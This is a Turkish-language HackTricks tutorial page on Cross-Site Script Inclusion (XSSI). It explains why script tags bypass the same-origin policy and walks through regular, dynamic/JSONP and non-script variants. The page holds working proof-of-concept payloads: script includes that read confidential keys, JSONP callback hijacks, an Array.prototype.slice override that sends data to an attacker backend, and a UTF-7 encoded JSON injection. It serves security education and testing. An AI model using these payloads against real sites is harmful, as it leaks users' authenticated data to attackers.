XSSI (Cross-Site Script Inclusion)

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Cross-Site Script Inclusion (XSSI), HTML'deki script etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Diğer kaynakların çoğunun aksine, Aynı Köken Politikası (SOP)'na tabi olmayan betikler, farklı etki alanlarından dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmayı amaçlamaktadır, ancak aynı zamanda potansiyel bir güvenlik riski de oluşturur.

XSSI'nin Temel Özellikleri:

  • SOP'nin Atlatılması: Betikler, etki alanları arasında dahil edilebilmelerine izin veren Aynı Köken Politikası'ndan muaf tutulur.

  • Veri Sızdırma: Bir saldırgan, script etiketi aracılığıyla yüklenen verileri okumak için bu davranışı istismar edebilir.

  • Dinamik JavaScript/JSONP Üzerindeki Etkisi: XSSI, özellikle dinamik JavaScript veya JSON ile Dolgulu (JSONP) için önemlidir. Bu teknolojiler genellikle kimlik doğrulaması için "ortam yetkisi" bilgilerini (örneğin çerezler) kullanır. Farklı bir sunucuya bir betik isteği yapıldığında, bu kimlik bilgileri (örneğin çerezler) otomatik olarak isteğe dahil edilir.

  • Kimlik Doğrulama Jetonu Sızıntısı: Bir saldırgan, bir kullanıcının tarayıcısını kendi kontrol ettikleri bir sunucudan bir betik istemeye kandırabilirse, bu isteklerdeki hassas bilgilere erişebilir.

Türler

  1. Statik JavaScript - Bu, geleneksel XSSI'nin temsilcisidir.

  2. Kimlik Doğrulamalı Statik JavaScript - Bu tür, erişim için kimlik doğrulaması gerektirir ve diğer türlerden farklıdır.

  3. Dinamik JavaScript - İçerik dinamik olarak oluşturan JavaScript'i içerir.

  4. JavaScript Dışı - Doğrudan JavaScript içermeyen güvenlik açıklarını ifade eder.

**Aşağıdaki bilgiler, https://www.scip.ch/en/?labs.20160414 adresindeki özetidir. Daha fazla ayrıntı için kontrol edin.

Düzenli XSSI

Bu yaklaşımda, özel bilgiler küresel olarak erişilebilir bir JavaScript dosyasına gömülüdür. Saldırganlar, dosya okuma, anahtar kelime aramaları veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tespit edebilir. Bulunan özel bilgileri içeren betik, yetkisiz erişime izin vererek kötü amaçlı içeriğe dahil edilebilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulama-JavaScript-XSSI

Bu tür XSSI saldırıları, kullanıcının isteğine yanıt olarak betiğe dinamik olarak eklenen gizli bilgileri içerir. Algılama, çerezlerle ve çerezler olmadan istekler göndererek ve yanıtları karşılaştırarak gerçekleştirilebilir. Bilgiler farklılık gösteriyorsa, gizli bilgilerin varlığını gösterebilir. Bu işlem, DetectDynamicJS Burp eklentisi gibi araçlar kullanılarak otomatikleştirilebilir.

Gizli veriler bir global değişkende depolanıyorsa, Düzenli XSSI'de kullanılan yöntemlere benzer yöntemlerle istismar edilebilir. Ancak, gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar geri çağırma işlevini ele geçirerek bilgileri alabilir. Bu, ya global nesneleri manipüle ederek ya da JSONP yanıtı tarafından yürütülecek bir işlevi kurarak yapılabilir, aşağıda gösterildiği gibi:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Değişkenlerin global ad alanında bulunmadığı durumlarda, bazen prototype bozulması istismar edilebilir. Bu teknik, JavaScript'in tasarımından yararlanır, burada kod yorumlaması, çağrılan özelliği bulmak için prototip zincirini gezme işlemi içerir. Array'ın slice gibi belirli fonksiyonları geçersiz kılarak, saldırganlar global olmayan değişkenlere erişebilir ve sızdırabilir:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Non-Script-XSSI

Takeshi Terada'nın araştırması, CSV gibi Non-Script dosyalarının, bir script etiketi içinde kaynak olarak dahil edilerek cross-origin olarak sızdırıldığı başka bir XSSI formunu tanıtır. Google adres defterinin tamamını okumak için yapılan Jeremiah Grossman'ın 2006 saldırısı ve Joe Walker'ın 2007 JSON veri sızıntısı gibi tarihsel XSSI örnekleri, bu tehditlerin ciddiyetini vurgular. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve komut dosyalarını çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantını açıklar:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated